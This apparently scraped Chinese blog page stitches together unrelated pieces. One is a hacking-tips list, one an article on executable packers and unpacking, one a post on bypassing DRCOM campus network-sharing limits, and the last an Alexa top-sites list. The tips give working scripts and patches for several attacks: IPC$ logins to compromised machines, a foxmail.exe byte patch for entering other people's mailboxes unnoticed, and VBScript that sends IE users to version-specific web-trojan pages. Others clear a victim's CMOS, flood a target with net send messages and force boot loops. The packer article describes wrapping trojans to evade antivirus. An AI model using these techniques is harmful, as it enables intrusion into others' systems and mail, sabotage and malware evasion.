小黑客厚道学：掌握一些黑客知识是非常必要的，不是要攻击别人，而是通过简单的黑客知识掌握网络/系统安全技术，开拓思路，从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。 　　1.简化CMD下用IPC$登录肉鸡的操作 　　用记事本建立一个名为login.bat文件，代码如下： @net use \%1\ipc$ %3 /u:”%2″ @echo OK!连接已经建立成功！ 　　使用方法是在CMD下输入：login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。 　　2.进入Foxmail账户有妙招 　　在Foxmail中可以为账户加***问密码，如果没有密码却想进入别人的信箱该怎么办呢？一个众所周知的办法是：打开Foxmail文件夹下以账户名命名的任意一个文件夹，里边有个名为account.stg的文件，把它复制到你想进入的账户目录里，直接覆盖该目录下原来的account.stg文件。运行Foxmail，点击那个忘记了密码的账户，可以直接进入该信箱！但是上面的方法并不隐蔽，因为对方下次使用信箱时就会发现你破解了他的信箱，这样不够隐蔽。要想进入对方的信箱还不被对方发现，可以使用下面这个办法：用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件，按组合键Alt＋F3查找以下的代码：E8617EE4FF7515，单击“确定”开始查找，找到后把其中的7515改为9090，其他代码不用改，然后保存就可以了。执行foxmail.exe，这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。 　　3.利用vbs脚本判断对方的IE版本 　　我们在编制网页木马时，常常需要页面具有自动判别对方IE版本的能力，根据版本的不同，跳转到不同的网页木马页面。之所以这样做，是因为不同版本的IE，其木马网页的制作方法并不相同，比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。 　　打开记事本，输入如下内容： “〈SCRIPT language=vbscript〉 if Instr(window.navigator.appversion,”MSIE 6.0″)>0 then alert(”浏 览 器：Internet Explorer 6.0″) window.location.href=”http://IE6.0 网页木马页面” else alert(”浏 览 器：6.0版本以下”) window.location.href=”http://IE6.0 以下版网页木马页面” end if 〈/SCRIPT〉” 　　这样，使用IE6.0的用户浏览了该页面后，会自动跳转到http://IE6.0网页木马页面，不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。 　　4.肉鸡的ipc$打不开该怎么办 　　有些朋友反映telnet到对方的机器后却不能打开ipc$，这该怎么办呢？我的做法是首先试试net share命令，看能不能使用，如果不能使用，说明对方没有安装文件和打印机共享服务，那ipc$一定是无法使用，此时只能放弃了。再输入net share ipc$试试，看看ipc$能不能打开，如果不行就输入net stop server，接下来再输入net start server，这样试试看ipc$能不能打开。如果net stop server不能执行，先把其附属进程关闭，再关server的主进程，一般到此ipc$多半可以连接上了。如果还是不行，那多半是对方有防火墙，这时只能想办法杀掉防火墙的进程了。 　　5.用vbs脚本结束进程 先声明这一招不是我自己想到的，是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本，在Windows2000下可以运行成功，代码内容如下： On Error Resume Next strComputer=”.”Set objWMIService = GetObject(”winmgmts:” _ && “!\” && strComputer && “\root\cimv2″)Set colProcessList =objWMIService.ExecQuery _ (”Select * from Win32_Process Where Name=’*.exe’”)For Each objProcess in colProcessList objProcess.Terminate()Next 　　其中*.exe是你要结束的进程，将它改为你要结束进程的名即可。 　　6.利用批处理清除对方的CMOS内容 　　如果你想清除对方的CMOS内容该怎么办？方法有很多了，利用批处理绝对是很另类的一招吧？请打开记事本，在文件中输入如下内容： Const ForAppending=8 Dim fso,x,y Set fso=CreateObject(”Scripting.FileSystemObject”) Set x=fso.OpenTextFile(”c:\autoexec.bat“, ForAppending, True) Set y=fso.CreateTextFile(”c:.txt”, True) x.WriteBlankLines(1) x.Write”debug<1.txt” x.WriteBlankLines(1) y.WriteLine(”o 70 10″) y.WriteBlankLines(1) y.Write(”o 71 10″) y.Close x.Close 　　把上述内容保存为.bat文件，然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据，创建一个文件，并向其中写入内容，在他下次开机时调用debug清除掉CMOS设置，包括CMOS密码。其实，这与大家常用的清除CMOS密码的方法很相象，通常情况下清除CMOS密码的方法是在DOS状态下输入debug，回车之后输入如下命令即可手工清除密码： -o 70 10 -o 71 01 -q 　　7.利用批处理轰炸对方电脑 　　这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是，打开记事本，在里面输入如下内容： @echo 正在轰炸中…… :start @net send %1 %2 @if errorlevel 1 goto over goto start :over @echo 发送失败:( 　　将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。 　　8.戏弄非法用户 　　为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令： @echo off echo non-system disk or disk error choice/c:&&/n 　　上面代码中的“&&”为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入“&&”即可。 　　9.我的电脑你别用 　　如果你不想让别人使用你的电脑，又不好意思说，那该怎么办呢？在CMOS中设密码，太小气了吧？他如果问你密码，你好意思不说吗？其实，我们可以用下面这个办法来欺骗一下他的眼睛，使他人以为电脑坏了。 　　方法是：进入MS-DOS方式或CMD窗口下，输入：copy con null.sys，按一下回车键，然后什么也别输入，再按一次回车键，按Ctrl+Z或按F6键，屏幕上会显示^z，按一下回车键，屏幕上会显示“1 file(s) copied”，这样就一个名为null.sys的空文件就建好了。现在，找到C盘根目录下的config.sys文件，注意这个文件是隐藏属性，所以必须进入“我的电脑”中，点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它，然后右键单击该文件，在弹出菜单中选择“用记事本打开”，接下来在config.sys文件中加入：device=c:\null.sys /d:null这样一行，保存修改结果，退出记事本。以后，你的电脑就会在出现Windows的启动画面时自动重新启动，如此反复下去，别人一定以为你的电脑出问题了，而你就可以偷偷乐了

安全基础病毒加壳技术与脱壳杀毒方法

壳是什么？脱壳又是什么？这是很多经常感到迷惑和经常提出的问题，其实这个问题一点也不幼稚。当你想听说脱壳这个名词并试着去了解的时候，说明你已经在各个安全站点很有了一段日子了。下面，我们进入“壳”的世界吧。 一、金蝉脱壳的故事 我先想讲个故事吧。那就是金蝉脱壳。金蝉脱壳属于三十六计中的混战计。金蝉脱壳的本意是：寒蝉在蜕变时，本体脱离皮壳而走，只留下蝉蜕还挂在枝头。此计用于军事，是指通过伪装摆脱敌人，撤退或转移，以实现我方的战略目标的谋略。稳住对方，撤退或转移，决不是惊慌失措，消极逃跑，而是保留形式，抽走内容，稳住对方，使自己脱离险境达到己方战略目标，己方常常可用巧妙分兵转移的机会出击另一部分敌人。三国时期，诸葛亮六出祁山，北伐中原，但一直未能成功，终于在第六次北伐时，积劳成疾，在五丈原病死于军中。 维遵照诸葛亮的吩咐，在诸葛亮死后，秘不发丧，对外严密封锁消息。他带着灵柩，秘密率部撤退。司马懿派部队跟踪追击蜀军。姜维命工匠仿诸葛亮摸样，雕了一个木人，羽扇纶巾，稳坐车中。并派杨仪率领部分人马大张旗鼓，向魏军发动进攻。魏军远望蜀军，军容整齐，旗鼓大张，又见诸葛亮稳坐车中，指挥若定，不知蜀军又耍什么花招，不敢轻举妄动。司马懿一向知道诸葛亮“诡计多端”，又怀疑此次退兵乃是诱敌之计，于是命令部队后撤，观察蜀军动向。姜维趁司马懿退兵的大好时机，马上指挥主力部队，迅速安全转移，撤回汉中。等司马懿得知诸葛亮已死，再进兵追击，为时已晚。相信这个故事，大家在大型连续剧《三国演义》里已经看过了。呵呵，只是没有理解得这么深入罢了！而在黑客入侵技术中，金蝉脱壳则是指：删除系统运行日志 攻击者攻破系统后，常删除系统运行日志，隐藏自己的痕迹…呵呵 二、壳，脱壳，加壳 在自然界中，我想大家对壳这东西应该都不会陌生了，由上述故事，我们也可见一斑。自然界中植物用它来保护种子，动物用它来保护身体等等。同样，在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行，拿到控制权，然后完成它们保护软件的任务。就像动植物的壳一般都是在身体外面一样理所当然（但后来也出现了所谓的“壳中带籽”的壳）。由于这段程序和自然界的壳在功能上有很多相同的地方，基于命名的规则，大家就把这样的程序称为“壳”了。就像计算机病毒和自然界的病毒一样，其实都是命名上的方法罢了。 从功能上抽象，软件的壳和自然界中的壳相差无几。无非是保护、隐蔽壳内的东西。而从技术的角度出发，壳是一段执行于原始程序前的代码。原始程序的代码在加壳的过程中可能被压缩、加密……。当加壳后的文件执行时，壳－这段代码先于原始程序运行，他把压缩、加密后的代码还原成原始程序代码，然后再把执行权交还给原始代码。 软件的壳分为加密壳、压缩壳、伪装壳、多层壳等类，目的都是为了隐藏程序真正的OEP（入口点，防止被破解）。关于“壳”以及相关软件的发展历史请参阅吴先生的《一切从“壳”开始》。 （一）壳的概念 作者编好软件后，编译成exe可执行文件。 1.有一些版权信息需要保护起来，不想让别人随便改动，如作者的姓名，即为了保护软件不被破解，通常都是采用加壳来进行保护。 2.需要把程序搞的小一点，从而方便使用。于是，需要用到一些软件，它们能将exe可执行文件压缩， 3.在黑客界给木马等软件加壳脱壳以躲避杀毒软件。实现上述功能，这些软件称为加壳软件。 （二）加壳软件最常见的加壳软件 ASPACK ，UPX，PEcompact 不常用的加壳软件WWPACK32；PE-PACK ；PETITE NEOLITE （三）侦测壳和软件所用编写语言的软件 因为脱壳之前要查他的壳的类型。 1.侦测壳的软件fileinfo.exe 简称fi.exe（侦测壳的能力极强）。 2.侦测壳和软件所用编写语言的软件language.exe（两个功能合为一体，很棒），推荐language2000中文版（专门检测加壳类型）。 3.软件常用编写语言Delphi，VisualBasic（VB）—最难破，VisualC（VC）。 （四）脱壳软件 软件加壳是作者写完软件后，为了保护自己的代码或维护软件产权等利益所常用到的手段。目前有很多加壳工具，当然有盾，自然就有矛，只要我们收集全常用脱壳工具，那就不怕他加壳了。软件脱壳有手动脱和自动脱壳之分，下面我们先介绍自动脱壳，因为手动脱壳需要运用汇编语言，要跟踪断点等，不适合初学者，但我们在后边将稍作介绍。 加壳一般属于软件加密，现在越来越多的软件经过压缩处理，给汉化带来许多不便，软件汉化爱好者也不得不学习掌握这种技能。现在脱壳一般分手动和自动两种，手动就是用TRW2000、TR、SOFTICE等调试工具对付，对脱壳者有一定水平要求，涉及到很多汇编语言和软件调试方面的知识。而自动就是用专门的脱壳工具来脱，最常用某种压缩软件都有他人写的反压缩工具对应，有些压缩工具自身能解压，如UPX；有些不提供这功能，如：ASPACK，就需要UNASPACK对付，好处是简单，缺点是版本更新了就没用了。另外脱壳就是用专门的脱壳工具来对付，最流行的是PROCDUMP v1.62 ，可对付目前各种压缩软件的压缩档。在这里介绍的是一些通用的方法和工具，希望对大家有帮助。我们知道文件的加密方式，就可以使用不同的工具、不同的方法进行脱壳。下面是我们常常会碰到的加壳方式及简单的脱壳措施，供大家参考： 脱壳的基本原则就是单步跟踪，只能往前，不能往后。脱壳的一般流程是：查壳->寻找OEP->Dump->修复 找OEP的一般思路如下： 先看壳是加密壳还是压缩壳，压缩壳相对来说容易些，一般是没有异常，找到对应的popad后就能到入口，跳到入口的方式一般为。 我们知道文件被一些压缩加壳软件加密，下一步我们就要分析加密软件的名称、版本。因为不同软件甚至不同版本加的壳，脱壳处理的方法都不相同。 常用脱壳工具：1、文件分析工具（侦测壳的类型）：Fi，GetTyp，peid，pe-scan， 2、OEP入口查找工具：SoftICE，TRW，ollydbg，loader，peid 3、dump工具：IceDump，TRW，PEditor，ProcDump32，LordPE 4、PE文件编辑工具PEditor，ProcDump32，LordPE 5、重建Import Table工具：ImportREC，ReVirgin 6、ASProtect脱壳专用工具：Caspr（ASPr V1.1-V1.2有效），Rad（只对ASPr V1.1有效），loader，peid（1）Aspack： 用的最多，但只要用UNASPACK或PEDUMP32脱壳就行了 （2）ASProtect+aspack：次之，国外的软件多用它加壳，脱壳时需要用到SOFTICE+ICEDUMP，需要一定的专业知识，但最新版现在暂时没有办法。 （3）Upx： 可以用UPX本身来脱壳，但要注意版本是否一致，用-D 参数 （4）Armadill： 可以用SOFTICE+ICEDUMP脱壳，比较烦 （5）Dbpe： 国内比较好的加密软件，新版本暂时不能脱，但可以破解 （6）NeoLite： 可以用自己来脱壳 （7）Pcguard： 可以用SOFTICE+ICEDUMP+FROGICE来脱壳 （8）Pecompat： 用SOFTICE配合PEDUMP32来脱壳，但不要专业知识 （9）Petite： 有一部分的老版本可以用PEDUMP32直接脱壳，新版本脱壳时需要用到SOFTICE+ICEDUMP，需要一定的专业知识 （10）WWpack32： 和PECOMPACT一样其实有一部分的老版本可以用PEDUMP32直接脱壳，不过有时候资源无法修改，也就无法汉化，所以最好还是用SOFTICE配合 PEDUMP32脱壳　　我们通常都会使用Procdump32这个通用脱壳软件，它是一个强大的脱壳软件，他可以解开绝大部分的加密外壳，还有脚本功能可以使用脚本轻松解开特定外壳的加密文件。另外很多时候我们要用到exe可执行文件编辑软件ultraedit。我们可以下载它的汉化注册版本，它的注册机可从网上搜到。ultraedit打开一个中文软件，若加壳，许多汉字不能被认出 ultraedit打开一个中文软件，若未加壳或已经脱壳，许多汉字能被认出 ultraedit可用来检验壳是否脱掉，以后它的用处还很多，请熟练掌握例如，可用它的替换功能替换作者的姓名为你的姓名注意字节必须相等，两个汉字替两个，三个替三个，不足处在ultraedit编辑器左边用00补。 常见的壳脱法： （一）aspack壳 脱壳可用unaspack或caspr 1.unaspack ，使用方法类似lanuage，傻瓜式软件，运行后选取待脱壳的软件即可. 缺点：只能脱aspack早些时候版本的壳，不能脱高版本的壳 2.caspr第一种：待脱壳的软件（如aa.exe）和caspr.exe位于同一目录下，执行windows起始菜单的运行，键入 caspr aa.exe脱壳后的文件为aa.ex_，删掉原来的aa.exe，将aa.ex_改名为aa.exe即可。使用方法类似fi 优点：可以脱aspack任何版本的壳，脱壳能力极强缺点：Dos界面。第二种：将aa.exe的图标拖到caspr.exe的图标上***若已侦测出是aspack壳，用unaspack脱壳出错，说明是aspack高版本的壳，用caspr脱即可。 （二）upx壳 脱壳可用upx待脱壳的软件（如aa.exe）和upx.exe位于同一目录下，执行windows起始菜单的运行，键入upx -d aa.exe。 （三）PEcompact壳 脱壳用unpecompact 使用方法类似lanuage傻瓜式软件，运行后选取待脱壳的软件即可。 （四）procdump 万能脱壳但不精，一般不要用 使用方法：运行后，先指定壳的名称，再选定欲脱壳软件，确定即可脱壳后的文件大于原文件由于脱壳软件很成熟，手动脱壳一般用不到。 三、压缩与脱壳 现在脱壳一般分手动和自动两种，手动就是用TRW2000、TR、SOFTICE等调试工具对付，对脱壳者有一定水平要求。而自动就稍好些，用专门的脱壳工具来脱，最常用某种压缩软件都有他人写的反压缩工具对应，有些压缩工具自身能解压，如UPX；有些不提供这功能，如：ASPACK，就需要UNASPACK对付。很多文件使用了一些压缩加壳软件加密过，这就需要对文件进行解压脱壳处理后，才能汉化。这种压缩与我们平时接触的压缩工具如winzip，winrar等压缩不同，winzip和winrar等压缩后的文件不能直接执行，而这种 EXE 压缩软件，EXE文件压缩后，仍可以运行。这种压缩工具把文件压缩后，会在文件开头一部分，加了一段解压代码。执行时该文件时，该代码先执行解压还原文件，不过这些都是在内存中完成的，由于微机速度快，我们基本感觉不出有什么不同。这样的程序很多，如 The bat，Acdsee，Winxfile等等。 要脱壳就应先了解常用压缩工具有哪些，这样知己知彼，如今越来越多的软件商喜欢用压缩方式发行自己的产品，如The bat！用UPX压缩，ACDSEE3.0用ASPACK压缩等。它有以下因素：一是：微机性能越来越好，执行过程中解压使人感觉不出来，用户能接受（给软件加壳，类似WINZIP 的效果，只不过这个加壳压缩之后的文件，可以独立运行，解压过程完全隐蔽，都在内存中完成。解压原理，是加壳工具在文件头里加了一段指令，告诉CPU，怎么才能解压自己。现在的CPU都很快，所以这个解压过程你看不出什么异常。因为软件一下子就打开了，只有你机器配置非常差，才会感觉到不加壳和加壳后的软件运行速度的差别。）。　二是：压缩后软件体积缩小，便于网络传输。三是：增加破解的难度。首先，加壳软件不同于一般的winzip，winrar等压缩软件.它是压缩exe可执行文件的，压缩后的文件可以直接运行.而winzip，winrar等压缩软件可压缩任何文件，但压缩后不能直接运行。很多站点不允许上传可执行文件，而只能上传压缩的文件，一方面处于速度考虑，也是为了安全性考虑。用加壳软件压缩的文件就是体积缩小，别的性质没改变。还是EXE文件，仍可执行，只是运行过程和以前不一样了。压缩工具把文件压缩后，在文件开头一部分，加了一段解压代码。执行时该文件时，该代码先执行解压还原文件，不过这些都是在内存中完成的，由于微机速度快，我们基本感觉不出有什么不同。 四、加壳与木马 木马危害无穷，但是随着人们对各种木马知识的了解，杀毒和专杀工具的特殊照顾，使得很多木马无藏身之地，但很多高手到处卖马，号称不会被查杀。它们究竟是如何躲在我们的系统中的呢？ 其实无非对木马进行“加/脱壳”。对于黑客来说，加/脱壳技术被淋漓尽致地应用到了伪装木马客户端上，目的是为了防止被杀毒软件反跟踪查杀和被跟踪调试，同时也防止算法程序被别人静态分析。最基本的隐藏：不可见窗体＋隐藏文件。木马程序 采用“进程隐藏”技术： 第一代进程隐藏技术：Windows 98的后门 。第二代进程隐藏技术：进程插入，以及 其后的Hook技术之外就是跟杀毒软件对着干：反杀毒软件外壳技术了。木马再狡猾，可是一旦被杀毒软件定义了特征码，在运行前就被拦截了。要躲过杀毒软件的追杀，很多木马就被加了壳，相当于给木马穿了件衣服，这样杀毒软件就认不出来了，但有部分杀毒软件会尝试对常用壳进行脱壳，然后再查杀（小样，别以为穿上件马夹我就不认识你了）。除了被动的隐藏外，最近还发现了能够主动和杀毒软件对着干的壳，木马在加了这种壳之后，一旦运行，则外壳先得到程序控制权，由其通过各种手段对系统中安装的杀毒软件进行破坏，最后在确认安全（杀毒软件的保护已被瓦解）后由壳释放包裹在自己“体内”的木马体并执行之。对付这种木马的方法是使用具有脱壳能力的杀毒软件对系统进行保护。壳能够将文件（比如EXE）包住，然后在文件被运行时，首先由壳获得控制权，然后释放并运行包裹着的文件体。很多壳能对自己包住的文件体进行加密，这样就可以防止杀毒软件的查杀。比如原先杀毒软件定义的该木马的特征是“12345”，如果发现某文件中含有这个特征，就认为该文件是木马，而带有加密功能的壳则会对文件体进行加密（如：原先的特征是“12345”，加密后变成了“54321”，这样杀毒软件当然不能靠文件特征进行检查了）。脱壳指的就是将文件外边的壳去除，恢复文件没有加壳前的状态。 虽然很多杀毒软件的文件监控都会使程序首次运行时速度很慢。这是因为：杀毒软件对压缩加壳的exe文件监控扫描时，都要先“脱壳”。一般压缩加壳程序，可加密压缩可执行文件的代码、数据、输入表、重定位表、资源段。通常压缩后的文件大小只有原来的50%-70%，但不影响程序的正常使用和所有功能，目的是保护文件不被跟踪分析，反汇编，脱壳等。所以有时候使用某软件给木马脱壳会失败，但可换个软件试下。脱壳后重新加壳或者使用不同加壳的软件给木马加多层壳，均有可能欺骗杀毒软件，但在经过复杂的多重加壳后，检测出的结果就不一定准确了，此时就需要“adv.scan”高级扫描， pe-scan会分析出被各种加壳工具加壳的可能性。 五、加壳与病毒 病毒要想生存，除了增加自身的变形能力以外，还可与程序加壳压缩联系起来。我们先来看看病毒变形的目的，因为现在的反病毒软件，基于特征码检测，增加变形能力，使得特征码检测方法更加困难。那么，如果再和程序加壳技术结合起来，那么将使的单单通过添加特征码方法解毒彻底失效，解毒时，必须同时更新扫描引擎，而现在并没有通用的解壳方法。因此加壳压缩和变形结合起来，将使得反病毒厂商手忙脚乱，也使得反病毒软件用户痛苦不堪，频繁的更新，除了特征码，还有扫描引擎。给平常的病毒加个壳，比如用upx，现在通常反病毒软件，对于常用的加密加壳压缩程序，都有相应的解壳程序。效果并不好，所以如果病毒本是既是一好的变形加密加壳压缩程序，那么，目的是强迫更新扫描引擎，当然也是可以被动态解压检测出来的，只是增加了解毒的很多工作量。实际上加壳技术不仅仅用于软件保护，也可用于好的病毒。好的病毒不一定要非常快的传播速度，难于检测，难于查杀更重要一些，就像现在杀毒界的虚拟机技术，也不过是个雏形，有很多的功能并不能完全虚拟化，同时若加壳代码本身可变形，同时有多种加壳算法可供随机选择，那么就很难找出其中的规律以及关系。总之，好的杀毒软件至少应该具有的技术功能之一就是要具备压缩还原技术：对Pklite、Diet、Exepack、Com2exe、Lzexe、Cpav等几百种压缩加壳软件自动还原，彻底解除隐藏较深的病毒，避免病毒死灰复燃

DRCOM终极破解办法！

字号： 大大 中中 小小
DRCOM终极破解办法！
今天在寝室闲的实在无聊，就在想这个问题，DRCOM到底怎么能破解掉，还真给我想出来了，不过这个办法有人说不好，就是比较浪费系统内存，需要至少80M-100M内存，要是电脑太差的话就不要往下看了，我的是2005年5月买的，当时花4000配的，相信大多数人都比我这破电脑要好吧！好了，进入正题。
我破解DR的思想是基于不改变程序本身，从其他方面绕过去，今天这个办法也是基于这个思想。
首先准备以下几个软件：VM虚拟机程序，XP或者2000的安装盘，越精简越好那种，原版的DRCOM程序。
下面就开始了，在做共享上网的那台电脑上安装VM虚拟机程序，然后在其中安装个虚拟系统，越精简的系统越省内存，在这台电脑上登陆DRCOM，确保这台电脑能上网，然后设置虚拟系统上网，不会调试的去请教VM高手，让他们先给你调试通了虚拟系统再说，由于DRCOM 不会限制本机的程序访问网络，所以VM内的系统只要你设置好了就一定能和真实的系统一样可以上网，调试通过之后关闭虚拟机。
进入虚拟机的设置，把声卡、USB接口等虚拟硬件都删了，留这些东西没用，再添加一张网卡，我们做的是共享上网嘛，就用XP自带的双网卡共享就可以了，硬件修改完毕重新启动虚拟机，把系统不需要的服务都优化掉，包括桌面主题的样式等等，全不要了，需要的就是最少的内存和和可以双网卡共享上网的最基本的服务，提示先把虚拟机注册表备份一下，要不你关错服务又不知道是哪个的时候就没办法了，只能重新安装虚拟机系统。
具体的XP优化我就不多说了，网上多的是，我这里给系统优化为开机只有 60M内存，并且可以提供最基本的双网卡共享服务，接下来设置两张网卡，默认情况下，在虚拟机里面设置为一张网卡为LAN，另外一张直接和外网连接，把设置为LAN的那张共享给和外网连接的那张网卡，设置好IP，随便一个IP，只要不和外网冲突就可以了，寝室内部其他的电脑的IP和这张外网连接的网卡设置为同一网段并且网关改成该IP，这个就可以共享上网了，寝室的其他同学不用任何设置，不需要开DRCOM，也不需要设置任何代理服务器。
这个办法的巧妙之处就在于，DRCOM不会限制本机的程序访问网络，但是严格限制网络的连接和共享，而通过虚拟机，巧妙的将虚拟机使用的网络转移到了外面的网络，使得其他电脑可以通过这个DRCOM共享上网，当然，这个方法也有不足只处，比如，电脑配置不高的机器做服务器的话会很卡，要占用太多的内存，但是这个方法的好处也是其他修改软件类方法不可相提并论的，这个方法无论DRCOM如何换代更新，都可以使用，至少我感觉以目前的办法，DRCOM还没办法把虚拟机上的东西给禁止了，为了宿舍的高额网费，我感觉这样做还是比较值的，现在内存也不贵，大家半年的网费省下来加条内存还是没什么大问题的，此方法仅共技术交流之用，如果你用以上方法造成的一切后果，本人不负任何责任。

Aleax

Top Sites China
Browse the most popular sites on the web. Learn more.
1.

Baidu.comThe leading Chinese language search engine, provides “simple and reliable� search experience, strong in Chinese language and multi-media content including MP3 music and movies, the first to offer WAP and PDA-based mobile search in China.baidu.comSite info for baidu.com
2.

QQ.COM中国最大的门户网站，提供即时通讯、新闻资讯、网络游戏以及在线拍卖业务，qq.comSite info for qq.com
3.

新浪新闻中心包括即日的国内外不同类型的新闻与评论，人物专题，图库。sina.com.cnSite info for sina.com.cn
4.
Google网页、图片、新闻搜索，支持个性化搜索及本地搜索，提供论坛、邮箱、日历服务和桌面搜索工具。google.cnSite info for google.cn
5.
淘宝网包括电脑通讯、数码、男装、女装、童装、化妆品、书籍音像、运动用品、游戏装备等各种商品的买卖，还有相关的社区交流，同时提供支付宝网上交易安全保证系统。taobao.comSite info for taobao.com

Interested in popular sites on the web?Buy a List of 10,000 or 100,000!

6.
网易中国最大的网络社区和门户网站163.comSite info for 163.com
7.
Yahoo!Personalized content and search options. Chatrooms, free e-mail, clubs, and pager.yahoo.comSite info for yahoo.com
8.
Sohu.com Inc.Produces Chinese language Internet portal and internet communities. (Nasdaq: SOHU).sohu.comSite info for sohu.com
9.
雅虎中国含新闻、资讯、邮箱和搜索引擎。yahoo.com.cnSite info for yahoo.com.cn
10.
GoogleEnables users to search the Web, Usenet, and images. Features include PageRank, caching and translation of results, and an option to find similar pages. The company's focus is developing search technology.google.comSite info for google.com
11.
优酷优酷网（www.youku.com）是中国第一视频网站。优酷网立足为全球华人提供最快速的视频播放、最快速的视频发布、最快速的视频搜索服务。youku.comSite info for youku.com
12.
Windows LiveSearch engine from Microsoft.live.comSite info for live.com
13.
Xunlei.comxunlei.comSite info for xunlei.com
14.
Soso搜搜提供论坛、网页、图片、音乐等类型搜索服务。soso.comSite info for soso.com
15.
Mop.commop.comSite info for mop.com
16.
U9网提供各类游戏资料、下载、赛事和玩家交流ku6.comSite info for ku6.com
17.
Tudou.com (Toodou.com) 土豆网每个人都是生活的导演。tudou.comSite info for tudou.com
18.
和讯网包括财经报道、投资论坛、实时行情、个股资讯动态、保险、债券等内容。homeway.com.cnSite info for homeway.com.cn
19.
中关村在线中关村在线是大中华区最具商业价值的IT专业网站，始终致力于销售促进型IT专业媒体的建设。ZOL成立于1999年3月，其客户群主要来自中小企业用户、个人购买者和大量IT行业及相关行业的厂商、经销商。zol.com.cnSite info for zol.com.cn
20.
PCPOP电脑时尚最具权威性的中文IT专业网站pcpop.comSite info for pcpop.com
21.
搜狗(SOGOU.com)全球首个中文网页收录量达到100亿的搜索引擎。同时提供新闻搜索、音乐搜索、购物搜索，地图搜索等专项搜索服务，为网民提供方便快捷的信息获取方式。 The first search engine in the world that has gathered up to 10 billion web pages, suppling most convenience services for searching news, music, shopping infomation, maps, etc.sogou.comSite info for sogou.com
22.
PCHOME-pchome.netSite info for pchome.net
23.
Microsoft Network (MSN)Dialup access and content provider.msn.comSite info for msn.com
24.
Xiaonei.comxiaonei.comSite info for xiaonei.com
25.
迅雷旗下-狗狗影视搜索提供影视、音乐游戏、软件等资源搜索。gougou.comSite info for gougou.com
26.
人民网人民日报网站，包括新闻报道和可检索的目录，新闻评论和专题栏目。people.com.cnSite info for people.com.cn
27.
太平洋电脑网提供电脑产品介绍、价格信息、企业名录及电脑知识和新闻。pconline.com.cnSite info for pconline.com.cn
28.
天涯社区包括文学、新闻、图片、音乐的社区。tianya.cnSite info for tianya.cn
29.
中华网综合互联网公司，提供新闻、军事、体育、科技、娱乐、教育等资讯内容。china.comSite info for china.com
30.
TOM.COMTOM ONLINE(http://www.tom.com)tom.comSite info for tom.com
31.
网易邮箱sqsky.cn 旗下著名网站126.comSite info for 126.com
32.
凤凰网（凤凰新媒体）与资讯同步，使全球华人零距离ifeng.comSite info for ifeng.com
33.
YouTubeYouTube is a way to get your videos to the people who matter to you. Upload, tag and share your videos worldwide!youtube.comSite info for youtube.com
34.
六间房视频发布和分享空间,可以在这里上传视频,分享给朋友和家人们。6.cnSite info for 6.cn
35.
房地产门户－搜房网全球最具权威和规模的房地产网络媒体和信息服务企业。覆盖中国大陆、香港、台湾、新加坡、温哥华等70多个城市.拥有新房、二手房、家居、研究四大集团。业务覆盖房地产所有行业。soufun.comSite info for soufun.com
36.
IT168提供电脑硬件和数码产品报价行情、解决方案、市场分析、导购指南及驱动软件下载。it168.comSite info for it168.com
37.
天极YeskyIT产品应用、评测、导购资讯、软件下载和互动社区yesky.comSite info for yesky.com
38.
Microsoft CorporationMain site for product information, support, and news.microsoft.comSite info for microsoft.com
39.
东方财富网提供股票、证券、基金、财经，国内财经，国际财经，行业研究等。eastmoney.comSite info for eastmoney.com
40.
新华网中国主要重点新闻网站,依托新华社遍布全球的采编网络,记者遍布世界100多个国家和地区 地方频道分布全国31个省市自治区 每天24小时同时使用6种语言滚动发稿 权威、准确、及时播发国内外重要新闻和重大突发事件 受众覆盖200多个国家和地区 发展论坛是全球知名的中文论坛。xinhuanet.comSite info for xinhuanet.com
41.
Alibaba.comAlibaba.com operates online business-to-business marketplaces for global trade, with a leading community of businesses from over 200 countries.alibaba.comSite info for alibaba.com
42.
Verycd.comverycd.comSite info for verycd.com
43.
51.com中国最大的社交网络平台 China's Biggest Social Networking Sitee51.comSite info for 51.com
44.
PerfSpotSocial and business networking.perfspot.comSite info for perfspot.com
45.
拍拍网(http://www.paipai.com)腾讯旗下快乐、时尚和共享的电子商务网站，让沟通促成交易。paipai.comSite info for paipai.com
46.
博客网提供博客及会员服务的综合资讯网站。blogchina.comSite info for blogchina.com
47.
21cn.com提供资讯信息和宽带应用、娱乐、互动服务的综合门户。21cn.comSite info for 21cn.com
48.
ChinaRen中国人提供校友录、社区、音乐、娱乐、游戏、生活等综合信息网站。chinaren.comSite info for chinaren.com
49.
三九健康网含有疾病、性爱、女性、减肥、育儿、传统医学等内容和健康社区、专家咨询等。39.netSite info for 39.net
50.
北青网由《北京青年报》主办的新闻性青年网站。ynet.comSite info for ynet.com
51.
FacebookA social utility that connects people, to keep up with friends, upload photos, share links and videos.facebook.comSite info for facebook.com
52.
ENet硅谷动力提供IT产品资料、技术报道、使用经验及选购指南。enet.com.cnSite info for enet.com.cn
53.
56.com56.comSite info for 56.com
54.
17173游戏综合性站点,包括单机、联机、网络游戏，提供业界新闻、新游戏公布、游戏下载、线上游戏，同时还提供各个游戏的专题站及相应讨论区。17173.comSite info for 17173.com
55.
豆瓣网提供图书介绍、读者评论及网上书店的价格比较。douban.comSite info for douban.com
56.
多玩游戏中文网络游戏媒体，提供公会系统和游戏资料查询系统。duowan.comSite info for duowan.com
57.
